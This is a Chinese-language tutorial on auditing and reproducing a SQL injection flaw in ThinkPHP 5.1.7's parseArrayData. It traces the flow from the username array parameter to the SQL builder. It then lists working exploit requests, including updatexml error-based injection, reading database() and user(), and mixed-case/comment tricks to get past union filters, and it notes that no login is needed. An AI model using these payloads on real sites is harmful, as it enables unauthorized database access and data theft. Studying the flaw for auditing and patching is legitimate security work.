ThinkPHP 5.1.7数据库查询漏洞核心在于parseArrayData方法将用户控制的数组元素(如$username[1]、$username[2])未经过滤直接拼入SQL,导致可构造updatexml等报错注入Payload实现任意SQL执行。

手工审计ThinkPHP 5.1.7数据库查询漏洞,核心是顺着“用户输入→参数解析→SQL构造→执行”这条链,逐层验证可控性与危险操作。它不是靠猜,而是靠定位、验证、复现三步闭环。下面分四个关键环节讲清楚怎么做。
确认目标版本并锁定高危组件
先别急着翻代码,先坐实版本——很多漏洞只在特定小版本存在。打开thinkphp/library/think/App.php或thinkphp/base.php,搜索THINK_VERSION或VERSION常量。例如看到define('THINK_VERSION', '5.1.7');,就可确认环境。接着去GitHub搜Mochazz/ThinkPHP-Vuln,按5.1.7过滤,会发现parseData()方法中数组解析逻辑存在注入点,这正是本次审计的靶心。
追踪输入点与数据流转路径
从典型控制器入口开始,比如application/index/controller/Index.php中一个接收username参数并插入数据库的方法:
- $username = request()->get('username/a'); —— 注意/a修饰符,它强制将参数转为数组,这是触发漏洞的前提
- Db::name('users')->insert(['username' => $username]); —— 插入操作本身不危险,但框架底层如何处理这个数组才是关键
- 跟进insert(),最终调用到thinkphp/library/think/db/builder/Mysql.php中的parseData()
此时下断点观察:当请求?username[0]=point&username[1]=123&username[2]=456时,$val是['point','123','456'],进入parseArrayData()后,直接拼接$val[1]和$val[2]进SQL,中间无任何过滤或类型校验。
立即学习“PHP免费学习笔记(深入)”;
验证SQL拼接是否可控
在parseArrayData()函数里加var_dump($value, $data[2], $data[3]); die;,再发包测试:
- 请求:/index.php/index/index/sqli?username[0]=point&username[1]=test&username[2]=xxx
- 页面输出string(4) "test" string(3) "xxx",说明$data[1]和$data[2]完全由用户控制
- 继续构造:username[0]=point&username[1]=123&username[2]=updatexml(1,concat(0x7e,user(),0x7e),1)
- 若页面报错并回显MySQL用户名(如~root@localhost~),即确认注入成立
构造有效Payload并绕过基础防护
该漏洞位于INSERT语句的字段值位置,闭合方式通常是逗号分隔的表达式。不需要引号闭合,直接利用函数注入即可:
- 基础探测:username[0]=point&username[1]=1&username[2]=(select+1)
- 读取数据库名:username[0]=point&username[1]=1&username[2]=database()
- 报错注入(兼容性好):username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7e,(select+user()),0x7e),1)
- 注意:若遇到union被过滤,可尝试大小写混写或用/**/注释分隔,如UnIoN/**/SeLeCt
整个过程不依赖登录态,无需特殊权限,只要能访问该接口即可触发。漏洞本质是框架在parseArrayData中把用户传入的数组元素当作SQL片段原样拼接,缺乏上下文感知与白名单约束。



















